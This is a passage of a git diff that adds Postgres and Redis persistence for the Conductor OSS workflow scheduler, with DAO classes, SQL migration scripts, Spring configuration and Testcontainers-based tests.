Monitors.recordDaoRequests(DAO_NAME, "getPendingExecutionRecordIds", "n/a", "n/a"); + return queryWithTransaction( + "SELECT execution_id FROM scheduler_execution WHERE state = 'POLLED'", + q -> q.executeAndFetch(String.class)); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + Monitors.recordDaoRequests(DAO_NAME, "getNextRunTimeInEpoch", "n/a", "n/a"); + String sql = "SELECT epoch_millis FROM scheduler_next_run WHERE key = ?"; + Long result = + queryWithTransaction( + sql, q -> q.addParameter(scheduleName).executeAndFetchFirst(Long.class)); + return result == null ? -1L : result; + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMillis) { + Monitors.recordDaoRequests(DAO_NAME, "setNextRunTimeInEpoch", "n/a", "n/a"); + // Upsert into scheduler_next_run so any key is accepted: schedule names (single-cron) and + // JSON payload strings like {"name":"s","cron":"...","id":0} (multi-cron) both work. + executeWithTransaction( + """ + INSERT INTO scheduler_next_run (key, epoch_millis) + VALUES (?, ?) + ON CONFLICT (key) DO UPDATE SET epoch_millis = EXCLUDED.epoch_millis + """, + q -> q.addParameter(scheduleName).addParameter(epochMillis).executeUpdate()); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + Monitors.recordDaoRequests(DAO_NAME, "searchSchedules", "n/a", "n/a"); + StringBuilder where = new StringBuilder(" WHERE 1=1"); + List params = new ArrayList<>(); + + if (workflowName != null && !workflowName.isEmpty()) { + where.append(" AND workflow_name = ?"); + params.add(workflowName); + } + if (scheduleName != null && !scheduleName.isEmpty()) { + where.append(" AND scheduler_name ILIKE ? ESCAPE '\\'"); + String escaped = + scheduleName.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_"); + params.add("%" + escaped + "%"); + } + if (paused != null) { + where.append(" AND (json_data::jsonb->>'paused')::boolean = ?"); + params.add(paused); + } + + String countSql = "SELECT COUNT(*) FROM scheduler" + where; + long totalHits = + queryWithTransaction( + countSql, q -> q.addParameters(params.toArray()).executeCount()); + + String dataSql = + "SELECT json_data FROM scheduler" + + where + + " ORDER BY scheduler_name LIMIT ? OFFSET ?"; + List dataParams = new ArrayList<>(params); + dataParams.add(size); + dataParams.add(start); + + List results = + queryWithTransaction( + dataSql, + q -> + q.addParameters(dataParams.toArray()) + .executeAndFetch(WorkflowScheduleModel.class)); + + return new SearchResult<>(totalHits, results); + } +} diff --git a/scheduler/postgres-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/postgres-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..579de90 --- /dev/null +++ b/scheduler/postgres-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.scheduler.postgres.config.PostgresSchedulerConfiguration diff --git a/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V1__scheduler_tables.sql b/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V1__scheduler_tables.sql new file mode 100644 index 0000000..1c79771 --- /dev/null +++ b/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V1__scheduler_tables.sql @@ -0,0 +1,56 @@ +-- Scheduler tables for Conductor OSS. +-- Schema mirrors Orkes Conductor (table names, column names, json_data pattern). +-- Multi-tenancy (org_id) is an Orkes enterprise feature and is omitted here. + +CREATE TABLE IF NOT EXISTS scheduler ( + scheduler_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255) NOT NULL, + json_data TEXT NOT NULL, + next_run_time BIGINT, + PRIMARY KEY (scheduler_name) +); + +CREATE INDEX IF NOT EXISTS scheduler_workflow_name_idx + ON scheduler (workflow_name); + +CREATE INDEX IF NOT EXISTS scheduler_next_run_time_idx + ON scheduler (next_run_time); + +-- Live execution records. json_data holds the full WorkflowScheduleExecution JSON. +-- schedule_name and state are redundant columns kept for efficient SQL queries +-- (OSS has no queue infrastructure to offload pending-execution tracking). +CREATE TABLE IF NOT EXISTS scheduler_execution ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + state VARCHAR(50) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (execution_id) +); + +CREATE INDEX IF NOT EXISTS scheduler_execution_schedule_name_idx + ON scheduler_execution (schedule_name); + +CREATE INDEX IF NOT EXISTS scheduler_execution_state_idx + ON scheduler_execution (state); + +-- Archival table for completed execution history (mirrors Orkes workflow_scheduled_executions). +-- Rows are moved here from scheduler_execution after completion and pruned to archivalMaxRecords. +CREATE TABLE IF NOT EXISTS workflow_scheduled_executions ( + execution_id VARCHAR(255) NOT NULL, + schedule_name VARCHAR(255) NOT NULL, + workflow_name VARCHAR(255), + workflow_id VARCHAR(255), + reason VARCHAR(1024), + stack_trace TEXT, + state VARCHAR(50) NOT NULL, + scheduled_time BIGINT NOT NULL, + execution_time BIGINT, + start_workflow_request TEXT, + PRIMARY KEY (execution_id) +); + +CREATE INDEX IF NOT EXISTS workflow_scheduled_executions_schedule_name_idx + ON workflow_scheduled_executions (schedule_name); + +CREATE INDEX IF NOT EXISTS workflow_scheduled_executions_execution_time_idx + ON workflow_scheduled_executions (execution_time); diff --git a/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V2__scheduler_next_run_table.sql b/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V2__scheduler_next_run_table.sql new file mode 100644 index 0000000..2500dca --- /dev/null +++ b/scheduler/postgres-persistence/src/main/resources/db/migration_scheduler/V2__scheduler_next_run_table.sql @@ -0,0 +1,13 @@ +-- Dedicated key-value store for scheduler next-run times. +-- +-- Rationale: the scheduler.next_run_time column only supports one entry per schedule name +-- (the table PK). Multi-cron schedules require a separate entry per cron expression, keyed +-- by a JSON payload string (e.g. {"name":"s","cron":"0 0 8 * * ? UTC","id":0}). A standalone +-- table supports both schedule-name keys (single-cron) and arbitrary payload keys (multi-cron) +-- without conflating timing state with the schedule definition row. + +CREATE TABLE IF NOT EXISTS scheduler_next_run ( + key VARCHAR(512) NOT NULL, + epoch_millis BIGINT NOT NULL, + PRIMARY KEY (key) +); diff --git a/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerAutoConfigurationSmokeTest.java b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerAutoConfigurationSmokeTest.java new file mode 100644 index 0000000..14ee79a --- /dev/null +++ b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/config/PostgresSchedulerAutoConfigurationSmokeTest.java @@ -0,0 +1,53 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.config; + +import org.conductoross.conductor.scheduler.postgres.dao.PostgresSchedulerDAO; + +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.config.AbstractSchedulerAutoConfigurationSmokeTest; + +/** + * Smoke-tests {@link PostgresSchedulerConfiguration} auto-configuration conditions. + * + *

    Positive path uses a Testcontainers PostgreSQL instance (the {@code jdbc:tc:…} URL spins up a + * container on first use and reuses it within the JVM). Negative paths run without any DB. + */ +public class PostgresSchedulerAutoConfigurationSmokeTest + extends AbstractSchedulerAutoConfigurationSmokeTest { + + @Override + protected String dbTypeValue() { + return "postgres"; + } + + @Override + protected String datasourceUrl() { + return "jdbc:tc:postgresql:15-alpine:///scheduler_smoke_test"; + } + + @Override + protected String driverClassName() { + return "org.testcontainers.jdbc.ContainerDatabaseDriver"; + } + + @Override + protected Class persistenceAutoConfigClass() { + return PostgresSchedulerConfiguration.class; + } + + @Override + protected Class expectedDaoClass() { + return PostgresSchedulerDAO.class; + } +} diff --git a/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAOTest.java b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..ec95d30 --- /dev/null +++ b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerArchivalDAOTest.java @@ -0,0 +1,109 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.dao; + +import java.sql.Connection; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.scheduler.dao.AbstractSchedulerArchivalDAOTest; + +/** + * Runs the full {@link AbstractSchedulerArchivalDAOTest} contract suite against a PostgreSQL + * database provisioned by Testcontainers. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + PostgresSchedulerArchivalDAOTest.PostgresTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:postgresql:15-alpine:///conductor_archival_test", + "spring.datasource.username=postgres", + "spring.datasource.password=postgres", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class PostgresSchedulerArchivalDAOTest extends AbstractSchedulerArchivalDAOTest { + + @TestConfiguration + static class PostgresTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new PostgresSchedulerArchivalDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerArchivalDAO schedulerArchivalDAO; + @Autowired private DataSource dataSource; + + @Before + public void cleanUp() throws Exception { + try (Connection conn = dataSource.getConnection()) { + conn.prepareStatement("DELETE FROM workflow_scheduled_executions").executeUpdate(); + } + } + + @Override + protected SchedulerArchivalDAO archivalDao() { + return schedulerArchivalDAO; + } +} diff --git a/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAOTest.java b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAOTest.java new file mode 100644 index 0000000..a87ccbb --- /dev/null +++ b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/dao/PostgresSchedulerDAOTest.java @@ -0,0 +1,106 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.dao; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.dao.AbstractSchedulerDAOTest; + +/** + * Runs the full {@link AbstractSchedulerDAOTest} contract suite against a PostgreSQL database + * provisioned by Testcontainers. + * + *

    No test logic lives here — all tests are inherited from the abstract class. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + PostgresSchedulerDAOTest.PostgresTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:postgresql:15-alpine:///conductor_scheduler_test", + "spring.datasource.username=postgres", + "spring.datasource.password=postgres", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class PostgresSchedulerDAOTest extends AbstractSchedulerDAOTest { + + @TestConfiguration + static class PostgresTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new PostgresSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerDAO schedulerDAO; + @Autowired private DataSource dataSource; + + @Override + protected SchedulerDAO dao() { + return schedulerDAO; + } + + @Override + protected DataSource dataSource() { + return dataSource; + } +} diff --git a/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/service/PostgresSchedulerServiceIntegrationTest.java b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/service/PostgresSchedulerServiceIntegrationTest.java new file mode 100644 index 0000000..874189b --- /dev/null +++ b/scheduler/postgres-persistence/src/test/java/org/conductoross/conductor/scheduler/postgres/service/PostgresSchedulerServiceIntegrationTest.java @@ -0,0 +1,106 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.postgres.service; + +import javax.sql.DataSource; + +import org.conductoross.conductor.scheduler.postgres.dao.PostgresSchedulerDAO; +import org.flywaydb.core.Flyway; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.service.AbstractSchedulerServiceIntegrationTest; + +/** + * Runs the full {@link AbstractSchedulerServiceIntegrationTest} suite against a PostgreSQL database + * provisioned by Testcontainers. + */ +@ContextConfiguration( + classes = { + DataSourceAutoConfiguration.class, + FlywayAutoConfiguration.class, + PostgresSchedulerServiceIntegrationTest.PostgresTestConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest +@TestPropertySource( + properties = { + "spring.datasource.url=jdbc:tc:postgresql:15-alpine:///conductor_scheduler_svc_test", + "spring.datasource.username=postgres", + "spring.datasource.password=postgres", + "spring.datasource.hikari.maximum-pool-size=4", + "spring.flyway.enabled=false" + }) +public class PostgresSchedulerServiceIntegrationTest + extends AbstractSchedulerServiceIntegrationTest { + + @TestConfiguration + static class PostgresTestConfiguration { + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + public RetryTemplate retryTemplate() { + return new RetryTemplate(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO( + RetryTemplate retryTemplate, DataSource dataSource, ObjectMapper objectMapper) { + return new PostgresSchedulerDAO(retryTemplate, objectMapper, dataSource); + } + } + + @Autowired private SchedulerDAO schedulerDAO; + @Autowired private DataSource dataSource; + + @Override + protected SchedulerDAO dao() { + return schedulerDAO; + } + + @Override + protected DataSource dataSource() { + return dataSource; + } +} diff --git a/scheduler/postgres-persistence/src/test/resources/application.properties b/scheduler/postgres-persistence/src/test/resources/application.properties new file mode 100644 index 0000000..2f41374 --- /dev/null +++ b/scheduler/postgres-persistence/src/test/resources/application.properties @@ -0,0 +1,2 @@ +conductor.scheduler.enabled=true +spring.flyway.enabled=false diff --git a/scheduler/redis-persistence/build.gradle b/scheduler/redis-persistence/build.gradle new file mode 100644 index 0000000..339d375 --- /dev/null +++ b/scheduler/redis-persistence/build.gradle @@ -0,0 +1,24 @@ +dependencies { + implementation project(':conductor-scheduler-core') + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-redis-configuration') + implementation project(':conductor-redis-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "org.apache.commons:commons-lang3" + + testImplementation project(':conductor-redis-api') + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" + testImplementation "redis.clients:jedis:${revJedis}" + testImplementation testFixtures(project(':conductor-scheduler-core')) +} + +test { + maxParallelForks = 1 +} diff --git a/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerConfiguration.java b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerConfiguration.java new file mode 100644 index 0000000..9539b00 --- /dev/null +++ b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerConfiguration.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.config; + +import org.conductoross.conductor.scheduler.redis.dao.RedisSchedulerArchivalDAO; +import org.conductoross.conductor.scheduler.redis.dao.RedisSchedulerCacheDAO; +import org.conductoross.conductor.scheduler.redis.dao.RedisSchedulerDAO; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerCacheDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +@Configuration(proxyBeanMethods = false) +@Conditional(AnyRedisCondition.class) +public class RedisSchedulerConfiguration { + + @Bean + @ConditionalOnProperty( + name = "conductor.scheduler.cache.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerCacheDAO redisSchedulerCacheDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties) { + return new RedisSchedulerCacheDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @Bean + @ConditionalOnProperty( + name = "conductor.scheduler.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerDAO redisSchedulerDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties) { + return new RedisSchedulerDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @Bean + @ConditionalOnProperty( + name = "conductor.scheduler.enabled", + havingValue = "true", + matchIfMissing = false) + public SchedulerArchivalDAO redisSchedulerArchivalDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties, + @Value("${conductor.scheduler.redis.archival-ttl-days:7}") int archivalTtlDays) { + long ttlSeconds = archivalTtlDays * 24L * 60 * 60; + return new RedisSchedulerArchivalDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties, ttlSeconds); + } +} diff --git a/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAO.java b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAO.java new file mode 100644 index 0000000..3ab7414 --- /dev/null +++ b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAO.java @@ -0,0 +1,296 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.dao.BaseDynoDAO; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.archive.SchedulerSearchQuery; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +/** + * Redis implementation of {@link SchedulerArchivalDAO}. + * + *

    Extends {@link BaseDynoDAO} for jedis/objectMapper management. Each archival record is stored + * as an individual Redis string key with a TTL (default 7 days). Records automatically expire + * without explicit cleanup. + * + *

    Data model: + * + *

      + *
    • SCHEDULER.ARCHIVAL:{executionId} — String with TTL: JSON blob + *
    • SCHEDULER.ARCHIVAL_SCHED:{scheduleName} — Sorted Set: score=scheduledTime, + * member=executionId + *
    • SCHEDULER.ARCHIVAL_SCHEDNAMES — Set of schedule names with archival records + *
    + */ +public class RedisSchedulerArchivalDAO extends BaseDynoDAO implements SchedulerArchivalDAO { + + private static final Logger log = LoggerFactory.getLogger(RedisSchedulerArchivalDAO.class); + private static final long DEFAULT_TTL_SECONDS = 7 * 24 * 60 * 60; // 7 days + + private static final String DAO_NAME = "redis"; + private static final String SCHEDULER_ARCHIVAL_PREFIX = "SCHEDULER.ARCHIVAL"; + private static final String SCHEDULER_ARCHIVAL_SCHED_PREFIX = "SCHEDULER.ARCHIVAL_SCHED"; + private static final String SCHEDULER_ARCHIVAL_SCHEDNAMES = "SCHEDULER.ARCHIVAL_SCHEDNAMES"; + + private final long ttlSeconds; + + public RedisSchedulerArchivalDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties) { + this(jedisProxy, objectMapper, conductorProperties, redisProperties, DEFAULT_TTL_SECONDS); + } + + public RedisSchedulerArchivalDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties, + long ttlSeconds) { + super(jedisProxy, objectMapper, conductorProperties, redisProperties); + this.ttlSeconds = ttlSeconds; + } + + private String archivalKey(String executionId) { + return nsKey(SCHEDULER_ARCHIVAL_PREFIX, executionId); + } + + private String archivalSchedKey(String scheduleName) { + return nsKey(SCHEDULER_ARCHIVAL_SCHED_PREFIX, scheduleName); + } + + private String keySchedNames() { + return nsKey(SCHEDULER_ARCHIVAL_SCHEDNAMES); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel model) { + Monitors.recordDaoRequests(DAO_NAME, "saveArchivalRecord", "n/a", "n/a"); + String execId = model.getExecutionId(); + + // Store JSON with TTL + jedisProxy.setWithExpiry(archivalKey(execId), toJson(model), ttlSeconds); + + // Index by schedule name + double score = + model.getScheduledTime() != null ? model.getScheduledTime().doubleValue() : 0; + jedisProxy.zadd(archivalSchedKey(model.getScheduleName()), score, execId); + + // Track schedule name + jedisProxy.sadd(keySchedNames(), model.getScheduleName()); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort) { + Monitors.recordDaoRequests(DAO_NAME, "searchScheduledExecutions", "n/a", "n/a"); + + SchedulerSearchQuery parsed = SchedulerSearchQuery.parse(query); + + // Determine which schedule names to query + Collection targetScheduleNames; + if (parsed.hasScheduleNames()) { + targetScheduleNames = parsed.getScheduleNames(); + } else { + Set all = jedisProxy.smembers(keySchedNames()); + targetScheduleNames = all != null ? all : Set.of(); + } + + // Collect all live models from targeted schedules + List allModels = new ArrayList<>(); + for (String schedName : targetScheduleNames) { + List ids = jedisProxy.zrange(archivalSchedKey(schedName), 0, -1); + for (String id : ids) { + String json = jedisProxy.get(archivalKey(id)); + if (json != null) { + allModels.add(readValue(json, WorkflowScheduleExecutionModel.class)); + } + } + } + + // Filter by state + if (parsed.hasStates()) { + Set stateSet = new HashSet<>(parsed.getStates()); + allModels = + allModels.stream() + .filter( + m -> + m.getState() != null + && stateSet.contains(m.getState().name())) + .collect(Collectors.toList()); + } + + // Filter by time range + if (parsed.getScheduledTimeAfter() != null) { + long after = parsed.getScheduledTimeAfter(); + allModels = + allModels.stream() + .filter( + m -> + m.getScheduledTime() != null + && m.getScheduledTime() > after) + .collect(Collectors.toList()); + } + if (parsed.getScheduledTimeBefore() != null) { + long before = parsed.getScheduledTimeBefore(); + allModels = + allModels.stream() + .filter( + m -> + m.getScheduledTime() != null + && m.getScheduledTime() < before) + .collect(Collectors.toList()); + } + + // Filter by workflow name (substring match) + if (parsed.hasWorkflowName()) { + String term = parsed.getWorkflowName().toLowerCase(); + allModels = + allModels.stream() + .filter( + m -> + m.getWorkflowName() != null + && m.getWorkflowName() + .toLowerCase() + .contains(term)) + .collect(Collectors.toList()); + } + + // Filter by execution ID (exact match) + if (parsed.hasExecutionId()) { + String execId = parsed.getExecutionId(); + allModels = + allModels.stream() + .filter(m -> execId.equals(m.getExecutionId())) + .collect(Collectors.toList()); + } + + // Sort by scheduledTime DESC + allModels.sort( + (a, b) -> + Long.compare( + b.getScheduledTime() != null ? b.getScheduledTime() : 0, + a.getScheduledTime() != null ? a.getScheduledTime() : 0)); + + long totalHits = allModels.size(); + int end = Math.min(start + count, allModels.size()); + List ids = + allModels.subList(start < allModels.size() ? start : allModels.size(), end).stream() + .map(WorkflowScheduleExecutionModel::getExecutionId) + 